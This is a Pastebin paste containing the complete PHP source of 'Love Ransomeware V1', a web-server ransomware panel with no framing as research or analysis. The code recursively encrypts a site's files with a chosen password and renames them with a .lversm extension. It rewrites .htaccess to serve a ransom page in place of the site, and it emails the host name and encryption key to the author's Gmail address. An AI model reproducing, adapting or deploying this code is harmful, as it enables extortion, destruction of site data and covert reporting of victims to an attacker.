LoveRansomeware

Untitled

Dec 16th, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.59 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. ini_set('memory_limit', '-1');
  5.  
  6. Class lversm_rsw{
  7. public $msg = ""; #
  8. public $report_to = "love.ransomeware@gmail.com"; #
  9. public function __construct()
  10. {?> <!DOCTYPE html>
  11. <html>
  12. <head>
  13. <title>Love Ransomeware V1</title>
  14. <meta charset="utf-8">
  15. <meta name="author" content="LoveRansome">
  16. <meta name="description" content="Love Ransomeware">
  17. <style type="text/css">html,body{background: #000;color: #eee;text-align: center;}input,select{color: #eee;background: #000;padding: 6px;border:1px solid #f00;}a{color:#f00;text-decoration:none}a:hover{text-decoration: underline;color: #eee}</style>
  18. </head>
  19. <body><br/><br/><br/><br/><br/><br/>
  20. <fieldset style="max-width: 800px;margin: 0 auto;box-shadow: 0px 0px 20px #f00"><legend>Love Ransomeware V.1</legend>
  21. <pre>
  22. '|| '||'''|,
  23. || || ||
  24. || .|''|, \\ // .|''|, ||...|' '''|. `||''|, ('''' .|''|, '||),,(|, .|''|,
  25. || || || \\// ||..|| || \\ .|''|| || || `'') || || || || || ||..||
  26. .||...| `|..|' \/ `|... .|| \\. `|..||. .|| ||. `...' `|..|' .|| ||. `|...
  27.  
  28.  
  29.  
  30. [ Ardyma - love.ransomeware@gmail.com ]
  31.  
  32. </pre><?php
  33. if(empty($_POST['opt']) && empty($_POST['key'])){
  34. ?>
  35.  
  36. <form method="post">
  37. <label>PASSWORD :</label>
  38. <input type="text" name="key" placeholder="Enter Password.." style="width: 250px" required="">
  39. <select name="opt">
  40. <option>-MENU-</option>
  41. <option value="e">EnCRYPT</option>
  42. <option value="d">DeCRYPT</option>
  43. </select>
  44. <input type="submit" value="Execute ~>">
  45. </form>
  46. <?php
  47. }else{
  48. echo "[ <a href='?'>Back </a>] <br>";
  49. $opt = $_POST['opt'];
  50. $key = $_POST['key'];
  51. switch ($opt) {
  52. case 'e':
  53. $this->loveransomeware($this->locate(),'e',$key);
  54. break;
  55. case 'd':
  56. $this->loveransomeware($this->locate(),'d',$key);
  57. break;
  58. }
  59. }
  60. ?> </fieldset>
  61. </body>
  62. </html><?php
  63. }
  64. public function Loveinit()
  65. {
  66. if(!file_exists('.htloversm'))
  67. {if(file_exists('.htaccess')){
  68. rename('.htaccess','.htloversm');
  69. }else{
  70. touch('.htaccess');
  71. rename('.htaccess','.htloversm');
  72. }
  73. $fp = fopen('.htaccess','w');
  74. $htc ="# LveRansome ! [ encrypted at ".date('D , d M Y H:i:s')." ]\r\nDirectoryIndex love-ransome.php\r\nErrorDocument 404 /love-ransome.php";
  75. fwrite($fp,$htc);
  76. echo ".... Manipulating <i><b>.htaccess</b></i> DONE .... <br>";
  77. }
  78. if(preg_match("/^http/",$this->msg))
  79. {
  80. $msg = file_get_contents($this->msg);
  81. }else{
  82. $msg = base64_decode($this->msg);
  83. }
  84. if(file_put_contents('love-ransome.php',$msg))
  85. {
  86. echo ".... Manipulating <i><b>Index & Change display of page</b></i> DONE .... <br>";
  87. }
  88. }
  89. public function Loveunit()
  90. {
  91. if(file_exists('.htloversm'))
  92. {
  93. if(unlink('.htaccess') && unlink('love-ransome.php'))
  94. {
  95. echo ".... Restore <i><b>.htaccess</b></i> DONE .... <br>";
  96. echo ".... Restore <i><b>Index files</b></i> DONE ....<br>";
  97. }
  98. rename('.htloversm','.htaccess');
  99. }
  100. }
  101. public function lversmended($npy,$method){
  102. switch ($method) {
  103. case 'e':
  104. rename($npy, $npy.".lversm");
  105. break;
  106. case 'd':
  107. $npys = str_replace(".lversm", "", $npy);
  108. rename($npy, $npys);
  109. break;
  110. }
  111. }
  112. public function enkontol($key,$pwd){
  113. $data = file_get_contents($pwd);
  114. $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC),MCRYPT_DEV_URANDOM);
  115. $encrypted = base64_encode($iv.mcrypt_encrypt(MCRYPT_RIJNDAEL_128,hash('sha256',$key,true),$data,MCRYPT_MODE_CBC,$iv));
  116. if(file_put_contents($pwd,$encrypted )){
  117. echo "[<font color=lime>LOCKED</font>][".date('d:m:Y')."] => ".$pwd." <br>";
  118. }else{
  119. echo "[<font color=red>FAILED</font>][".date('d:m:Y')."] => ".$pwd." <br>";
  120. }
  121. }
  122. public function dekontol($key,$pwd){
  123. $data = base64_decode( file_get_contents($pwd) );
  124. $iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
  125. $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");
  126. if(file_put_contents($pwd, $decrypted )){
  127. echo "[<font color=lime>UNLOCKED</font>][".date('d:m:Y')."] => ".$pwd." <br>";
  128. }else{
  129. echo "[<font color=red>--FAILED</font>][".date('d:m:Y')."] => ".$pwd." <br>";
  130. }
  131. }
  132. public function kecuali($ext,$name){
  133. $re = "/({$name})/";
  134. preg_match($re, $ext, $matches);
  135. if($matches[1]){
  136. return false;
  137. }
  138. return true;
  139. }
  140. public function loveransomeware($dir,$method,$key)
  141. { switch ($method) {
  142. case 'e':
  143. $this->Loveinit();
  144. break;
  145. case 'd':
  146. $this->Loveunit();
  147. break;
  148. }
  149. $s = scandir($dir);
  150. foreach($s as $d)
  151. {
  152. if($d!='.' && $d!='..')
  153. {
  154. $locate = $dir.DIRECTORY_SEPARATOR.$d;
  155. if(!is_dir($locate)){
  156. if($this->kecuali($locate,"love.php")&&
  157. $this->kecuali($locate,".png") &&
  158. $this->kecuali($locate,".htaccess") &&
  159. $this->kecuali($locate,"love-ransome.php") &&
  160. $this->kecuali($locate,"index.php") &&
  161. $this->kecuali($locate,".htloversm") ){
  162. switch ($method) {
  163. case 'e':
  164. $this->enkontol($key,$locate);
  165. $this->lversmended($locate,'e');
  166. break;
  167. case 'd':
  168. $this->dekontol($key,$locate);
  169. $this->lversmended($locate,'d');
  170. break;
  171. }
  172. }
  173. }else{
  174. $this->loveransomeware($locate,$method,$key);
  175. }
  176. }
  177. $this->plus();
  178. }
  179. $this->report($key);
  180. }
  181. public function report($key){
  182. $message.= "========= Report Ransomware =========\n";
  183. $message.= "Server : ".$_SERVER['HTTP_HOST']."\n";
  184. $message.= "Key : ".$key."\n";
  185. $message.= "Encrypted : ".date('D , d M Y H:i:s')."\n";
  186. $message.= "========= Love-Ransomware =========\n";
  187. $subject = "[LOVE-RANSOMWARE][".$_SERVER['HTTP_HOST']."]";
  188. $headers = "From: Ardyma <love.ransomewar@gmail.com>\r\n";
  189. mail($this->report_to,$subject,$message,$headers);
  190. }
  191. public function plus(){
  192. flush();
  193. ob_flush();
  194. }
  195. public function locate(){
  196. return getcwd();
  197. }
  198. }
  199.  
  200. new lversm_rsw();
  201. ?>
Add Comment
Please, Sign In to add comment